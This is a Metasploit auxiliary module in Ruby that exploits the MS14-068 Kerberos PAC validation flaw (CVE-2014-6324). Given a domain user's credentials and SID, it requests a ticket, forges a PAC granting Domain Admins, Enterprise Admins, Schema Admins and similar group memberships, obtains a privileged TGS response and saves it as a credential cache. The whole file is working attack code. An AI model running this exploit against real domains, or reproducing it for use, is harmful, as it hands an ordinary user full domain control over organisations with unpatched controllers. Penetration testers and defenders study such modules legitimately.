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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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  include Msf::Auxiliary::Report
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  include Msf::Exploit::Remote::Kerberos::Client
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  def initialize(info = {})
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    super(update_info(info,
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      'Name' => 'MS14-068 Microsoft Kerberos Checksum Validation Vulnerability',
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      'Description' => %q{
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        This module exploits a vulnerability in the Microsoft Kerberos implementation. The problem
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        exists in the verification of the Privilege Attribute Certificate (PAC) from a Kerberos TGS
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        request, where a domain user may forge a PAC with arbitrary privileges, including
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        Domain Administrator. This module requests a TGT ticket with a forged PAC and exports it to
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        a MIT Kerberos Credential Cache file. It can be loaded on Windows systems with the Mimikatz
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        help. It has been tested successfully on Windows 2008.
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      },
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      'Author' =>
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        [
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          'Tom Maddock', # Vulnerability discovery
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          'Sylvain Monne', # pykek framework and exploit
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          'juan vazquez' # Metasploit module
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        ],
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      'References' =>
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        [
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          ['CVE', '2014-6324'],
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          ['MSB', 'MS14-068'],
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          ['OSVDB', '114751'],
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          ['URL', 'http://blogs.technet.com/b/srd/archive/2014/11/18/additional-information-about-cve-2014-6324.aspx'],
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          ['URL', 'https://labs.mwrinfosecurity.com/blog/2014/12/16/digging-into-ms14-068-exploitation-and-defence/'],
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          ['URL', 'https://github.com/bidord/pykek'],
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          ['URL', 'https://www.rapid7.com/blog/post/2014/12/25/12-days-of-haxmas-ms14-068-now-in-metasploit']
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        ],
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      'License' => MSF_LICENSE,
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      'DisclosureDate' => '2014-11-18'
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    ))
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    register_options(
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      [
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        OptString.new('USERNAME', [ true, 'The Domain User' ], aliases: ['USER']),
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        OptString.new('PASSWORD', [ true, 'The Domain User password' ]),
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        OptString.new('DOMAIN', [ true, 'The Domain (upper case) Ex: DEMO.LOCAL' ]),
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        OptString.new('USER_SID', [ true, 'The Domain User SID, Ex: S-1-5-21-1755879683-3641577184-3486455962-1000'])
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      ])
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  end
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  def run
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    print_status("Validating options...")
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    unless datastore['USER_SID'] =~ /^S-(\d+-){6}\d+$/
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      print_error("Invalid USER_SID. Ex: S-1-5-21-1755879683-3641577184-3486455962-1000")
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      return
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    end
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    domain = datastore['DOMAIN'].upcase
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    print_status("Using domain #{domain}...")
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    user_sid_arr = datastore['USER_SID'].split('-')
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    domain_sid = user_sid_arr[0, user_sid_arr.length - 1].join('-')
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    user_rid = user_sid_arr[user_sid_arr.length - 1].to_i
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    checksum_type = Rex::Proto::Kerberos::Crypto::Checksum::RSA_MD5
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    etype = Rex::Proto::Kerberos::Crypto::Encryption::RC4_HMAC
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    encryptor = Rex::Proto::Kerberos::Crypto::Encryption::from_etype(etype)
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    password_digest = encryptor.string_to_key(datastore['PASSWORD'])
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    pre_auth = []
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    pre_auth << build_as_pa_time_stamp(key: password_digest, etype: etype)
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    pre_auth << build_pa_pac_request
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    pre_auth
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    print_status("#{peer} - Sending AS-REQ...")
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    res = send_request_as(
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      client_name: "#{datastore['USERNAME']}",
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      server_name: "krbtgt/#{domain}",
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      realm: "#{domain}",
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      key: password_digest,
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      pa_data: pre_auth,
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      etype: [etype]
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    )
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    unless res.msg_type == Rex::Proto::Kerberos::Model::AS_REP
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      print_warning("#{peer} - #{warn_error(res)}") if res.msg_type == Rex::Proto::Kerberos::Model::KRB_ERROR
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      print_error("#{peer} - Invalid AS-REP, aborting...")
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      return
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    end
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    print_status("#{peer} - Parsing AS-REP...")
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    session_key = extract_session_key(res, password_digest)
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    logon_time = extract_logon_time(res, password_digest)
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    ticket = res.ticket
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    pre_auth = []
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    pre_auth << build_pa_pac_request
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    groups = [
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      Rex::Proto::Kerberos::Pac::DOMAIN_ADMINS,
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      Rex::Proto::Kerberos::Pac::DOMAIN_USERS,
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      Rex::Proto::Kerberos::Pac::SCHEMA_ADMINISTRATORS,
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      Rex::Proto::Kerberos::Pac::ENTERPRISE_ADMINS,
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      Rex::Proto::Kerberos::Pac::GROUP_POLICY_CREATOR_OWNERS
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    ]
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    pac = build_pac(
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      client_name: datastore['USER'],
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      group_ids: groups,
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      domain_id: domain_sid,
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      user_id: user_rid,
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      realm: domain,
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      logon_time: logon_time,
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      checksum_type: checksum_type
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    )
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    auth_data = build_pac_authorization_data(pac: pac)
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    sub_key = build_subkey(subkey_type: etype)
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    print_status("#{peer} - Sending TGS-REQ...")
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    res = send_request_tgs(
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      client_name: datastore['USER'],
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      server_name: "krbtgt/#{domain}",
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      realm: domain,
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      session_key: session_key,
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      ticket: ticket,
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      auth_data: auth_data,
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      pa_data: pre_auth,
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      subkey: sub_key
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    )
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    unless res.msg_type == Rex::Proto::Kerberos::Model::TGS_REP
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      print_warning("#{peer} - #{warn_error(res)}") if res.msg_type == Rex::Proto::Kerberos::Model::KRB_ERROR
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      print_error("#{peer} - Invalid TGS-REP, aborting...")
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      return
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    end
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    print_good("#{peer} - Valid TGS-Response, extracting credentials...")
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    cache = extract_kerb_creds(res, sub_key.value)
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    Msf::Exploit::Remote::Kerberos::Ticket::Storage.store_ccache(cache, framework_module: self, host: rhost)
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  end
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  def warn_error(res)
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    "#{res.error_code}"
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  end
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end
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